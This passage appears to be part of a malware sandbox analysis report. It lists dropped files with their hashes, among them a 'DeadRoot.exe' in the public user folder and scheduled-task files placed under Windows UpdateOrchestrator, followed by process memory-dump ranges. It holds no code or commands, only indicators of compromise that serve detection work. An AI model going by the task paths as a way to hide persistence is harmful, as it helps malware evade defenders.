                                                                                                                                                26763a5ffc87a77b7e25687d900d32baf67c9e45e51a970c683dc1499c37c52b83b5757c3929cf117af8c5fd494491e063fdf88be9609867bd98379d06e83c33

                                                                                                                                              • C:\Users\Public\DeadRoot.exe

                                                                                                                                                Filesize

                                                                                                                                                151KB

                                                                                                                                                MD5

                                                                                                                                                b8479a23c22cf6fc456e197939284069

                                                                                                                                                SHA1

                                                                                                                                                b2d98cc291f16192a46f363d007e012d45c63300

                                                                                                                                                SHA256

                                                                                                                                                18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

                                                                                                                                                SHA512

                                                                                                                                                786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

                                                                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                Filesize

                                                                                                                                                2KB

                                                                                                                                                MD5

                                                                                                                                                8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                                SHA1

                                                                                                                                                98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                                SHA256

                                                                                                                                                ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                                SHA512

                                                                                                                                                c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                Filesize

                                                                                                                                                2KB

                                                                                                                                                MD5

                                                                                                                                                f313c5b4f95605026428425586317353

                                                                                                                                                SHA1

                                                                                                                                                06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                                SHA256

                                                                                                                                                129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                                SHA512

                                                                                                                                                b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                                Filesize

                                                                                                                                                2KB

                                                                                                                                                MD5

                                                                                                                                                7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                                SHA1

                                                                                                                                                63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                                SHA256

                                                                                                                                                727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                                SHA512

                                                                                                                                                f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                                Filesize

                                                                                                                                                2KB

                                                                                                                                                MD5

                                                                                                                                                1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                                SHA1

                                                                                                                                                5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                                SHA256

                                                                                                                                                55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                                SHA512

                                                                                                                                                5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                                Filesize

                                                                                                                                                2KB

                                                                                                                                                MD5

                                                                                                                                                0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                                SHA1

                                                                                                                                                9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                                SHA256

                                                                                                                                                a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                                SHA512

                                                                                                                                                c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                              • C:\Windows\Temp\__PSScriptPolicyTest_welywqkp.y0c.ps1

                                                                                                                                                Filesize

                                                                                                                                                60B

                                                                                                                                                MD5

                                                                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                SHA1

                                                                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                SHA256

                                                                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                SHA512

                                                                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                              • memory/336-99-0x000001DA363D0000-0x000001DA363F7000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/612-65-0x0000023B63C30000-0x0000023B63C57000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/612-73-0x00007FF9C0E70000-0x00007FF9C0E80000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                64KB

                                                                                                                                              • memory/612-64-0x0000023B63C00000-0x0000023B63C22000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                136KB

                                                                                                                                              • memory/612-72-0x0000023B63C30000-0x0000023B63C57000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/612-66-0x0000023B63C30000-0x0000023B63C57000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/660-83-0x000001FF3A8F0000-0x000001FF3A917000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/660-77-0x000001FF3A8F0000-0x000001FF3A917000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/660-84-0x00007FF9C0E70000-0x00007FF9C0E80000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                64KB

                                                                                                                                              • memory/956-88-0x000001D6505D0000-0x000001D6505F7000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/956-94-0x000001D6505D0000-0x000001D6505F7000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                156KB

                                                                                                                                              • memory/956-95-0x00007FF9C0E70000-0x00007FF9C0E80000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                64KB

                                                                                                                                              • memory/2704-49-0x00007FFA00DF0000-0x00007FFA00FE5000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                2.0MB

                                                                                                                                              • memory/2704-50-0x00007FF9FF090000-0x00007FF9FF14E000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                760KB

                                                                                                                                              • memory/2704-48-0x00000140D4360000-0x00000140D4388000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                160KB

                                                                                                                                              • memory/2704-47-0x00000140D40D0000-0x00000140D40F2000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                136KB

                                                                                                                                              • memory/3304-1-0x00007FF9E2CE3000-0x00007FF9E2CE5000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                8KB

                                                                                                                                              • memory/3304-0-0x0000000000EF0000-0x0000000000F74000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                528KB

                                                                                                                                              • memory/3888-25-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-18-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-17-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-19-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-29-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-28-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-27-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-26-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-24-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/3888-23-0x000001E1CA0A0000-0x000001E1CA0A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4KB

                                                                                                                                              • memory/4196-833-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/4196-16-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/4196-14-0x0000000000530000-0x000000000053E000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                56KB

                                                                                                                                              • memory/4516-54-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/4516-59-0x00007FFA00DF0000-0x00007FFA00FE5000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                2.0MB

                                                                                                                                              • memory/4516-58-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/4516-53-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/4516-60-0x00007FF9FF090000-0x00007FF9FF14E000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                760KB

                                                                                                                                              • memory/4516-61-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/4516-52-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/4516-51-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB